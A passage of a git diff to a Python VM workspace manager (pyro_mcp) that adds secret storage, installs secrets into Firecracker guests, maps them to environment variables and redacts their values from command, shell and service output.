secrets_dir / stored_path + secret_path.write_text(value, encoding="utf-8") + secret_path.chmod(0o600) + values_by_name[name] = value + records.append( + WorkspaceSecretRecord( + name=name, + source_kind=source_kind, + stored_path=stored_path, + ) + ) + secrets_dir.chmod(0o700) + records.sort(key=lambda item: item.name) + return records, {record.name: values_by_name[record.name] for record in records} + + +def _load_workspace_secret_values( + *, + workspace_dir: Path, + secrets: list[WorkspaceSecretRecord], +) -> dict[str, str]: + values: dict[str, str] = {} + for secret in secrets: + secret_path = workspace_dir / WORKSPACE_SECRETS_DIRNAME / secret.stored_path + if not secret_path.exists() or not secret_path.is_file(): + raise RuntimeError(f"secret material is unavailable for {secret.name!r}") + values[secret.name] = secret_path.read_text(encoding="utf-8") + return values + + +def _build_workspace_secret_archive( + *, + workspace_dir: Path, + secrets: list[WorkspaceSecretRecord], + archive_path: Path, +) -> tuple[int, int]: + archive_path.parent.mkdir(parents=True, exist_ok=True) + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "w") as archive: + for secret in secrets: + secret_path = workspace_dir / WORKSPACE_SECRETS_DIRNAME / secret.stored_path + value = secret_path.read_bytes() + info = tarfile.TarInfo(name=secret.name) + info.size = len(value) + info.mode = 0o600 + archive.addfile(info, io.BytesIO(value)) + entry_count += 1 + bytes_written += len(value) + return entry_count, bytes_written + + def _persist_workspace_baseline( prepared_seed: PreparedWorkspaceSeed, *, @@ -931,6 +1116,49 @@ def _normalize_workspace_snapshot_name( return normalized +def _normalize_workspace_secret_name(secret_name: str) -> str: + normalized = secret_name.strip() + if normalized == "": + raise ValueError("secret name must not be empty") + if WORKSPACE_SECRET_NAME_RE.fullmatch(normalized) is None: + raise ValueError( + "secret name must match " + r"^[A-Za-z_][A-Za-z0-9_]{0,63}$" + ) + return normalized + + +def _validate_workspace_secret_value(secret_name: str, value: str) -> str: + try: + encoded = value.encode("utf-8") + except UnicodeEncodeError as exc: + raise ValueError(f"secret {secret_name!r} must be valid UTF-8 text") from exc + if value == "": + raise ValueError(f"secret {secret_name!r} must not be empty") + if len(encoded) > WORKSPACE_SECRET_MAX_BYTES: + raise ValueError( + f"secret {secret_name!r} must be at most {WORKSPACE_SECRET_MAX_BYTES} bytes" + ) + return value + + +def _normalize_workspace_secret_env_mapping( + secret_env: dict[str, str] | None, +) -> dict[str, str]: + if secret_env is None: + return {} + normalized: dict[str, str] = {} + for secret_name, env_name in secret_env.items(): + normalized_secret_name = _normalize_workspace_secret_name(str(secret_name)) + normalized_env_name = _normalize_workspace_secret_name(str(env_name)) + if normalized_secret_name in normalized: + raise ValueError( + f"secret_env references secret {normalized_secret_name!r} more than once" + ) + normalized[normalized_secret_name] = normalized_env_name + return normalized + + def _normalize_workspace_service_readiness( readiness: dict[str, Any] | None, ) -> dict[str, Any] | None: @@ -1030,11 +1258,19 @@ def _stop_process_group(pid: int, *, wait_seconds: int = 5) -> tuple[bool, bool] return True, True -def _run_service_probe_command(cwd: Path, command: str) -> int: +def _run_service_probe_command( + cwd: Path, + command: str, + *, + env_overrides: dict[str, str] | None = None, +) -> int: + env = {"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)} + if env_overrides is not None: + env.update(env_overrides) proc = subprocess.run( # noqa: S603 ["bash", "-lc", command], # noqa: S607 cwd=cwd, - env={"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)}, + env=env, text=True, capture_output=True, timeout=10, @@ -1048,6 +1284,7 @@ def _service_ready_on_host( readiness: dict[str, Any] | None, workspace_dir: Path, cwd: Path, + env_overrides: dict[str, str] | None = None, ) -> bool: if readiness is None: return True @@ -1073,7 +1310,14 @@ def _service_ready_on_host( return False if readiness_type == "command": try: - return _run_service_probe_command(cwd, str(readiness["command"])) == 0 + return ( + _run_service_probe_command( + cwd, + str(readiness["command"]), + env_overrides=env_overrides, + ) + == 0 + ) except (OSError, subprocess.TimeoutExpired): return False raise RuntimeError(f"unsupported readiness type: {readiness_type}") @@ -1120,6 +1364,7 @@ def _start_local_service( readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env_overrides: dict[str, str] | None = None, ) -> WorkspaceServiceRecord: services_dir.mkdir(parents=True, exist_ok=True) cwd = _workspace_host_destination(workspace_dir, cwd_text) @@ -1151,9 +1396,13 @@ def _start_local_service( encoding="utf-8", ) runner_path.chmod(0o700) + env = {"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)} + if env_overrides is not None: + env.update(env_overrides) process = subprocess.Popen( # noqa: S603 [str(runner_path)], cwd=str(cwd), + env=env, text=True, start_new_session=True, ) @@ -1182,7 +1431,12 @@ def _start_local_service( if service.ended_at is None: service.ended_at = time.time() return service - if _service_ready_on_host(readiness=readiness, workspace_dir=workspace_dir, cwd=cwd): + if _service_ready_on_host( + readiness=readiness, + workspace_dir=workspace_dir, + cwd=cwd, + env_overrides=env_overrides, + ): service.ready_at = time.time() return service if time.monotonic() >= deadline: @@ -1219,17 +1473,24 @@ def _instance_workspace_host_dir(instance: VmInstance) -> Path: return Path(raw_value) -def _patch_rootfs_guest_agent(rootfs_image: Path, guest_agent_path: Path) -> None: +def _patch_rootfs_runtime_file( + rootfs_image: Path, + *, + source_path: Path, + destination_path: str, + asset_label: str, + file_mode: str | None = None, +) -> None: debugfs_path = shutil.which("debugfs") if debugfs_path is None: raise RuntimeError( "debugfs is required to seed workspaces on guest-backed runtimes" ) - with tempfile.TemporaryDirectory(prefix="pyro-guest-agent-") as temp_dir: - staged_agent_path = Path(temp_dir) / "pyro_guest_agent.py" - shutil.copy2(guest_agent_path, staged_agent_path) + with tempfile.TemporaryDirectory(prefix=f"pyro-{asset_label}-") as temp_dir: + staged_path = Path(temp_dir) / Path(destination_path).name + shutil.copy2(source_path, staged_path) subprocess.run( # noqa: S603 - [debugfs_path, "-w", "-R", f"rm {WORKSPACE_GUEST_AGENT_PATH}", str(rootfs_image)], + [debugfs_path, "-w", "-R", f"rm {destination_path}", str(rootfs_image)], text=True, capture_output=True, check=False, @@ -1239,16 +1500,29 @@ def _patch_rootfs_guest_agent(rootfs_image: Path, guest_agent_path: Path) -> Non debugfs_path, "-w", "-R", - f"write {staged_agent_path} {WORKSPACE_GUEST_AGENT_PATH}", + f"write {staged_path} {destination_path}", str(rootfs_image), ], text=True, capture_output=True, check=False, ) + if proc.returncode == 0 and file_mode is not None: + proc = subprocess.run( # noqa: S603 + [ + debugfs_path, + "-w", + "-R", + f"set_inode_field {destination_path} mode {file_mode}", + str(rootfs_image), + ], + text=True, + capture_output=True, + check=False, + ) if proc.returncode != 0: raise RuntimeError( - "failed to patch guest agent into workspace rootfs: " + f"failed to patch {asset_label} into workspace rootfs: " f"{proc.stderr.strip() or proc.stdout.strip()}" ) @@ -1491,6 +1765,7 @@ class VmBackend: timeout_seconds: int, *, workdir: Path | None = None, + env: dict[str, str] | None = None, ) -> VmExecResult: raise NotImplementedError @@ -1509,6 +1784,14 @@ class VmBackend: ) -> dict[str, Any]: raise NotImplementedError + def install_secrets( # pragma: no cover + self, + instance: VmInstance, + *, + archive_path: Path, + ) -> dict[str, Any]: + raise NotImplementedError + def export_archive( # pragma: no cover self, instance: VmInstance, @@ -1527,6 +1810,8 @@ class VmBackend: cwd: str, cols: int, rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> dict[str, Any]: raise NotImplementedError @@ -1582,6 +1867,7 @@ class VmBackend: readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env: dict[str, str] | None = None, ) -> dict[str, Any]: raise NotImplementedError @@ -1631,8 +1917,14 @@ class MockBackend(VmBackend): timeout_seconds: int, *, workdir: Path | None = None, + env: dict[str, str] | None = None, ) -> VmExecResult: - return _run_host_command(workdir or instance.workdir, command, timeout_seconds) + return _run_host_command( + workdir or instance.workdir, + command, + timeout_seconds, + env_overrides=env, + ) def stop(self, instance: VmInstance) -> None: marker_path = instance.workdir / ".stopped" @@ -1654,6 +1946,20 @@ class MockBackend(VmBackend): destination=destination, ) + def install_secrets( + self, + instance: VmInstance, + *, + archive_path: Path, + ) -> dict[str, Any]: + del instance + entry_count, bytes_written = _inspect_seed_archive(archive_path) + return { + "destination": WORKSPACE_GUEST_SECRETS_PATH, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + def export_archive( self, instance: VmInstance, @@ -1683,6 +1989,8 @@ class MockBackend(VmBackend): cwd: str, cols: int, rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> dict[str, Any]: session = create_local_shell( workspace_id=workspace_id, @@ -1691,6 +1999,8 @@ class MockBackend(VmBackend): display_cwd=cwd, cols=cols, rows=rows, + env_overrides=env, + redact_values=redact_values, ) summary = session.summary() summary["execution_mode"] = "host_compat" @@ -1766,6 +2076,7 @@ class MockBackend(VmBackend): readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env: dict[str, str] | None = None, ) -> dict[str, Any]: services_dir = instance.workdir.parent / WORKSPACE_SERVICES_DIRNAME service = _start_local_service( @@ -1778,6 +2089,7 @@ class MockBackend(VmBackend): readiness=readiness, ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, + env_overrides=env, ) return service.to_payload() @@ -1988,6 +2300,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover timeout_seconds: int, *, workdir: Path | None = None, + env: dict[str, str] | None = None, ) -> VmExecResult: if self._runtime_capabilities.supports_guest_exec: guest_cid = int(instance.metadata["guest_cid"]) @@ -2001,6 +2314,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover port, command, timeout_seconds, + env=env, uds_path=uds_path, ) break @@ -2017,7 +2331,12 @@ class FirecrackerBackend(VmBackend): # pragma: no cover duration_ms=response.duration_ms, ) instance.metadata["execution_mode"] = "host_compat" - return _run_host_command(workdir or instance.workdir, command, timeout_seconds) + return _run_host_command( + workdir or instance.workdir, + command, + timeout_seconds, + env_overrides=env, + ) def stop(self, instance: VmInstance) -> None: process = self._processes.pop(instance.vm_id, None) @@ -2094,6 +2413,39 @@ class FirecrackerBackend(VmBackend): # pragma: no cover destination=destination, ) + def install_secrets( + self, + instance: VmInstance, + *, + archive_path: Path, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + deadline = time.monotonic() + 10 + while True: + try: + response = self._guest_exec_client.install_secrets( + guest_cid, + port, + archive_path, + timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + uds_path=uds_path, + ) + return { + "destination": response.destination, + "entry_count": response.entry_count, + "bytes_written": response.bytes_written, + } + except (OSError, RuntimeError) as exc: + if time.monotonic() >= deadline: + raise RuntimeError( + f"guest secret transport did not become ready: {exc}" + ) from exc + time.sleep(0.2) + raise RuntimeError("workspace secrets require guest execution") + def export_archive( self, instance: VmInstance, @@ -2152,6 +2504,8 @@ class FirecrackerBackend(VmBackend): # pragma: no cover cwd: str, cols: int, rows: int, + env: dict[str, str] | None = None, + redact_values: list[str] | None = None, ) -> dict[str, Any]: del workspace_id guest_cid = int(instance.metadata["guest_cid"]) @@ -2164,6 +2518,8 @@ class FirecrackerBackend(VmBackend): # pragma: no cover cwd=cwd, cols=cols, rows=rows, + env=env, + redact_values=redact_values, uds_path=uds_path, ) return { @@ -2292,6 +2648,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover readiness: dict[str, Any] | None, ready_timeout_seconds: int, ready_interval_ms: int, + env: dict[str, str] | None = None, ) -> dict[str, Any]: if self._runtime_capabilities.supports_guest_exec: guest_cid = int(instance.metadata["guest_cid"]) @@ -2306,6 +2663,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover readiness=readiness, ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, + env=env, uds_path=uds_path, ) payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") @@ -2322,6 +2680,7 @@ class FirecrackerBackend(VmBackend): # pragma: no cover readiness=readiness, ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, + env_overrides=env, ) return service.to_payload() @@ -2701,6 +3060,7 @@ class VmManager: network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | Path | None = None, + secrets: list[dict[str, str]] | None = None, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) @@ -2713,6 +3073,7 @@ class VmManager: commands_dir = self._workspace_commands_dir(workspace_id) shells_dir = self._workspace_shells_dir(workspace_id) services_dir = self._workspace_services_dir(workspace_id) + secrets_dir = self._workspace_secrets_dir(workspace_id) snapshots_dir = self._workspace_snapshots_dir(workspace_id) baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) workspace_dir.mkdir(parents=True, exist_ok=False) @@ -2720,7 +3081,9 @@ class VmManager: commands_dir.mkdir(parents=True, exist_ok=True) shells_dir.mkdir(parents=True, exist_ok=True) services_dir.mkdir(parents=True, exist_ok=True) + secrets_dir.mkdir(parents=True, exist_ok=True) snapshots_dir.mkdir(parents=True, exist_ok=True) + secret_records, _ = _prepare_workspace_secrets(secrets, secrets_dir=secrets_dir) _persist_workspace_baseline( prepared_seed, baseline_archive_path=baseline_archive_path, @@ -2751,20 +3114,27 @@ class VmManager: ) self._backend.create(instance) if self._runtime_capabilities.supports_guest_exec: - self._ensure_workspace_guest_agent_support(instance) + self._ensure_workspace_guest_bootstrap_support(instance) with self._lock: self._start_instance_locked(instance) + workspace = WorkspaceRecord.from_instance( + instance, + workspace_seed=prepared_seed.to_payload(), + secrets=secret_records, + ) + if workspace.secrets: + self._install_workspace_secrets_locked(workspace, instance) self._require_guest_exec_or_opt_in(instance) - workspace_seed = prepared_seed.to_payload() import_summary = self._backend.import_archive( instance, archive_path=baseline_archive_path, destination=WORKSPACE_GUEST_PATH, ) + workspace_seed = dict(workspace.workspace_seed) workspace_seed["entry_count"] = int(import_summary["entry_count"]) workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) workspace_seed["destination"] = str(import_summary["destination"]) - workspace = WorkspaceRecord.from_instance(instance, workspace_seed=workspace_seed) + workspace.workspace_seed = workspace_seed self._save_workspace_locked(workspace) return self._serialize_workspace(workspace) except Exception: @@ -3067,9 +3437,12 @@ class VmManager: ) self._backend.create(recreated) if self._runtime_capabilities.supports_guest_exec: - self._ensure_workspace_guest_agent_support(recreated) + self._ensure_workspace_guest_bootstrap_support(recreated) with self._lock: self._start_instance_locked(recreated) + workspace = self._load_workspace_locked(workspace_id) + if workspace.secrets: + self._install_workspace_secrets_locked(workspace, recreated) self._require_guest_exec_or_opt_in(recreated) reset_summary = self._backend.import_archive( recreated, @@ -3120,9 +3493,11 @@ class VmManager: *, command: str, timeout_seconds: int = 30, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: if timeout_seconds <= 0: raise ValueError("timeout_seconds must be positive") + normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) with self._lock: workspace = self._load_workspace_locked(workspace_id) self._ensure_workspace_not_expired_locked(workspace, time.time()) @@ -3134,12 +3509,26 @@ class VmManager: instance = workspace.to_instance( workdir=self._workspace_runtime_dir(workspace.workspace_id) ) - exec_result, execution_mode = self._exec_instance( - instance, - command=command, - timeout_seconds=timeout_seconds, - host_workdir=self._workspace_host_dir(workspace.workspace_id), - guest_cwd=WORKSPACE_GUEST_PATH, + redact_values = self._workspace_secret_redact_values_locked(workspace) + env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) + if workspace.secrets and normalized_secret_env: + self._install_workspace_secrets_locked(workspace, instance) + try: + exec_result, execution_mode = self._exec_instance( + instance, + command=command, + timeout_seconds=timeout_seconds, + host_workdir=self._workspace_host_dir(workspace.workspace_id), + guest_cwd=WORKSPACE_GUEST_PATH, + env=env_values or None, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc + redacted_exec_result = VmExecResult( + stdout=_redact_text(exec_result.stdout, redact_values), + stderr=_redact_text(exec_result.stderr, redact_values), + exit_code=exec_result.exit_code, + duration_ms=exec_result.duration_ms, ) with self._lock: workspace = self._load_workspace_locked(workspace_id) @@ -3150,7 +3539,7 @@ class VmManager: entry = self._record_workspace_command_locked( workspace, command=command, - exec_result=exec_result, + exec_result=redacted_exec_result, execution_mode=execution_mode, cwd=WORKSPACE_GUEST_PATH, ) @@ -3160,10 +3549,10 @@ class VmManager: "environment": workspace.environment, "environment_version": workspace.metadata.get("environment_version"), "command": command, - "stdout": exec_result.stdout, - "stderr": exec_result.stderr, - "exit_code": exec_result.exit_code, - "duration_ms": exec_result.duration_ms, + "stdout": redacted_exec_result.stdout, + "stderr": redacted_exec_result.stderr, + "exit_code": redacted_exec_result.exit_code, + "duration_ms": redacted_exec_result.duration_ms, "execution_mode": execution_mode, "sequence": entry["sequence"], "cwd": WORKSPACE_GUEST_PATH, @@ -3176,24 +3565,35 @@ class VmManager: cwd: str = WORKSPACE_GUEST_PATH, cols: int = DEFAULT_SHELL_COLS, rows: int = DEFAULT_SHELL_ROWS, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: if cols <= 0: raise ValueError("cols must be positive") if rows <= 0: raise ValueError("rows must be positive") normalized_cwd, _ = _normalize_workspace_destination(cwd) + normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) shell_id = uuid.uuid4().hex[:12] with self._lock: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_shell_locked(workspace) - payload = self._backend.open_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - cwd=normalized_cwd, - cols=cols, - rows=rows, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) + if workspace.secrets and normalized_secret_env: + self._install_workspace_secrets_locked(workspace, instance) + try: + payload = self._backend.open_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cwd=normalized_cwd, + cols=cols, + rows=rows, + env=env_values or None, + redact_values=redact_values, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc shell = self._workspace_shell_record_from_payload( workspace_id=workspace_id, shell_id=shell_id, @@ -3225,13 +3625,17 @@ class VmManager: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_shell_locked(workspace) shell = self._load_workspace_shell_locked(workspace_id, shell_id) - payload = self._backend.read_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - cursor=cursor, - max_chars=max_chars, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.read_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc updated_shell = self._workspace_shell_record_from_payload( workspace_id=workspace_id, shell_id=shell_id, @@ -3251,7 +3655,7 @@ class VmManager: { "cursor": int(payload.get("cursor", cursor)), "next_cursor": int(payload.get("next_cursor", cursor)), - "output": str(payload.get("output", "")), + "output": _redact_text(str(payload.get("output", "")), redact_values), "truncated": bool(payload.get("truncated", False)), } ) @@ -3269,13 +3673,17 @@ class VmManager: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_shell_locked(workspace) shell = self._load_workspace_shell_locked(workspace_id, shell_id) - payload = self._backend.write_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - input_text=input_text, - append_newline=append_newline, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.write_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + input_text=input_text, + append_newline=append_newline, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc updated_shell = self._workspace_shell_record_from_payload( workspace_id=workspace_id, shell_id=shell_id, @@ -3315,12 +3723,16 @@ class VmManager: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_shell_locked(workspace) shell = self._load_workspace_shell_locked(workspace_id, shell_id) - payload = self._backend.signal_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - signal_name=normalized_signal, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.signal_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + signal_name=normalized_signal, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc updated_shell = self._workspace_shell_record_from_payload( workspace_id=workspace_id, shell_id=shell_id, @@ -3348,11 +3760,15 @@ class VmManager: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_shell_locked(workspace) shell = self._load_workspace_shell_locked(workspace_id, shell_id) - payload = self._backend.close_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.close_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc closed_shell = self._workspace_shell_record_from_payload( workspace_id=workspace_id, shell_id=shell_id, @@ -3381,10 +3797,12 @@ class VmManager: readiness: dict[str, Any] | None = None, ready_timeout_seconds: int = DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, ready_interval_ms: int = DEFAULT_SERVICE_READY_INTERVAL_MS, + secret_env: dict[str, str] | None = None, ) -> dict[str, Any]: normalized_service_name = _normalize_workspace_service_name(service_name) normalized_cwd, _ = _normalize_workspace_destination(cwd) normalized_readiness = _normalize_workspace_service_readiness(readiness) + normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) if ready_timeout_seconds <= 0: raise ValueError("ready_timeout_seconds must be positive") if ready_interval_ms <= 0: @@ -3392,6 +3810,10 @@ class VmManager: with self._lock: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_service_locked(workspace) + redact_values = self._workspace_secret_redact_values_locked(workspace) + env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) + if workspace.secrets and normalized_secret_env: + self._install_workspace_secrets_locked(workspace, instance) existing = self._load_workspace_service_locked_optional( workspace_id, normalized_service_name, @@ -3411,16 +3833,20 @@ class VmManager: workspace_id, normalized_service_name, ) - payload = self._backend.start_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - command=command, - cwd=normalized_cwd, - readiness=normalized_readiness, - ready_timeout_seconds=ready_timeout_seconds, - ready_interval_ms=ready_interval_ms, - ) + try: + payload = self._backend.start_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + command=command, + cwd=normalized_cwd, + readiness=normalized_readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + env=env_values or None, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc service = self._workspace_service_record_from_payload( workspace_id=workspace_id, service_name=normalized_service_name, @@ -3475,12 +3901,16 @@ class VmManager: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_service_locked(workspace) service = self._load_workspace_service_locked(workspace_id, normalized_service_name) - payload = self._backend.logs_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - tail_lines=tail_lines, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.logs_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + tail_lines=tail_lines, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc service = self._workspace_service_record_from_payload( workspace_id=workspace_id, service_name=normalized_service_name, @@ -3498,8 +3928,8 @@ class VmManager: response = self._serialize_workspace_service(service) response.update( { - "stdout": str(payload.get("stdout", "")), - "stderr": str(payload.get("stderr", "")), + "stdout": _redact_text(str(payload.get("stdout", "")), redact_values), + "stderr": _redact_text(str(payload.get("stderr", "")), redact_values), "tail_lines": tail_lines, "truncated": bool(payload.get("truncated", False)), } @@ -3512,11 +3942,15 @@ class VmManager: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_service_locked(workspace) service = self._load_workspace_service_locked(workspace_id, normalized_service_name) - payload = self._backend.stop_service( - instance, - workspace_id=workspace_id, - service_name=normalized_service_name, - ) + redact_values = self._workspace_secret_redact_values_locked(workspace) + try: + payload = self._backend.stop_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + ) + except Exception as exc: + raise _redact_exception(exc, redact_values) from exc service = self._workspace_service_record_from_payload( workspace_id=workspace_id, service_name=normalized_service_name, @@ -3549,10 +3983,17 @@ class VmManager: self._refresh_workspace_liveness_locked(workspace) self._save_workspace_locked(workspace) entries = self._read_workspace_logs_locked(workspace.workspace_id) + redact_values = self._workspace_secret_redact_values_locked(workspace) + redacted_entries = [] + for entry in entries: + redacted_entry = dict(entry) + redacted_entry["stdout"] = _redact_text(str(entry.get("stdout", "")), redact_values) + redacted_entry["stderr"] = _redact_text(str(entry.get("stderr", "")), redact_values) + redacted_entries.append(redacted_entry) return { "workspace_id": workspace.workspace_id, - "count": len(entries), - "entries": entries, + "count": len(redacted_entries), + "entries": redacted_entries, } def delete_workspace( @@ -3625,6 +4066,9 @@ class VmManager: "execution_mode": workspace.metadata.get("execution_mode", "pending"), "workspace_path": WORKSPACE_GUEST_PATH, "workspace_seed": _workspace_seed_dict(workspace.workspace_seed), + "secrets": [ + _serialize_workspace_secret_public(secret) for secret in workspace.secrets + ], "command_count": workspace.command_count, "last_command": workspace.last_command, "reset_count": workspace.reset_count, @@ -3725,6 +4169,60 @@ class VmManager: "host compatibility when guest execution is unavailable." ) + def _require_workspace_secret_support(self, instance: VmInstance) -> None: + if self._backend_name == "mock": + return + if self._runtime_capabilities.supports_guest_exec: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest-backed secret installation" + ) + raise RuntimeError( + "workspace secrets require guest execution and are unavailable for this " + f"workspace: {reason}" + ) + + def _workspace_secret_values_locked(self, workspace: WorkspaceRecord) -> dict[str, str]: + return _load_workspace_secret_values( + workspace_dir=self._workspace_dir(workspace.workspace_id), + secrets=workspace.secrets, + ) + + def _workspace_secret_redact_values_locked(self, workspace: WorkspaceRecord) -> list[str]: + return list(self._workspace_secret_values_locked(workspace).values()) + + def _workspace_secret_env_values_locked( + self, + workspace: WorkspaceRecord, + secret_env: dict[str, str], + ) -> dict[str, str]: + secret_values = self._workspace_secret_values_locked(workspace) + env_values: dict[str, str] = {} + for secret_name, env_name in secret_env.items(): + if secret_name not in secret_values: + raise ValueError( + f"secret_env references unknown workspace secret {secret_name!r}" + ) + env_values[env_name] = secret_values[secret_name] + return env_values + + def _install_workspace_secrets_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + if not workspace.secrets: + return + self._require_workspace_secret_support(instance) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-secrets-") as temp_dir: + archive_path = Path(temp_dir) / "workspace-secrets.tar" + _build_workspace_secret_archive( + workspace_dir=self._workspace_dir(workspace.workspace_id), + secrets=workspace.secrets, + archive_path=archive_path, + ) + self._backend.install_secrets(instance, archive_path=archive_path) + def _get_instance_locked(self, vm_id: str) -> VmInstance: try: return self._instances[vm_id] @@ -3771,6 +4269,7 @@ class VmManager: timeout_seconds: int, host_workdir: Path | None = None, guest_cwd: str | None = None, + env: dict[str, str] | None = None, ) -> tuple[VmExecResult, str]: if timeout_seconds <= 0: raise ValueError("timeout_seconds must be positive") @@ -3784,12 +4283,21 @@ class VmManager: else: instance.metadata["execution_mode"] = "host_compat" workdir = host_workdir - exec_result = self._backend.exec( - instance, - prepared_command, - timeout_seconds, - workdir=workdir, - ) + if env is None: + exec_result = self._backend.exec( + instance, + prepared_command, + timeout_seconds, + workdir=workdir, + ) + else: + exec_result = self._backend.exec( + instance, + prepared_command, + timeout_seconds, + workdir=workdir, + env=env, + ) execution_mode = instance.metadata.get("execution_mode", "unknown") return exec_result, execution_mode @@ -3832,15 +4340,33 @@ class VmManager: bytes_written=bytes_written, ) - def _ensure_workspace_guest_agent_support(self, instance: VmInstance) -> None: - if self._runtime_paths is None or self._runtime_paths.guest_agent_path is None: + def _ensure_workspace_guest_bootstrap_support(self, instance: VmInstance) -> None: + if ( + self._runtime_paths is None + or self._runtime_paths.guest_agent_path is None + or self._runtime_paths.guest_init_path is None + ): raise RuntimeError( - "runtime bundle does not provide a guest agent for workspace operations" + "runtime bundle does not provide guest bootstrap assets for workspace operations" ) rootfs_image = instance.metadata.get("rootfs_image") if rootfs_image is None or rootfs_image == "": raise RuntimeError("workspace rootfs image is unavailable for guest operations") - _patch_rootfs_guest_agent(Path(rootfs_image), self._runtime_paths.guest_agent_path) + rootfs_path = Path(rootfs_image) + _patch_rootfs_runtime_file( + rootfs_path, + source_path=self._runtime_paths.guest_init_path, + destination_path=WORKSPACE_GUEST_INIT_PATH, + asset_label="guest-init", + file_mode="0100755", + ) + _patch_rootfs_runtime_file( + rootfs_path, + source_path=self._runtime_paths.guest_agent_path, + destination_path=WORKSPACE_GUEST_AGENT_PATH, + asset_label="guest-agent", + file_mode="0100755", + ) def _workspace_dir(self, workspace_id: str) -> Path: return self._workspaces_dir / workspace_id @@ -3875,6 +4401,9 @@ class VmManager: def _workspace_services_dir(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / WORKSPACE_SERVICES_DIRNAME + def _workspace_secrets_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SECRETS_DIRNAME + def _workspace_metadata_path(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / "workspace.json" diff --git a/src/pyro_mcp/workspace_shells.py b/src/pyro_mcp/workspace_shells.py index d082777..e439042 100644 --- a/src/pyro_mcp/workspace_shells.py +++ b/src/pyro_mcp/workspace_shells.py @@ -6,6 +6,7 @@ import codecs import fcntl import os import 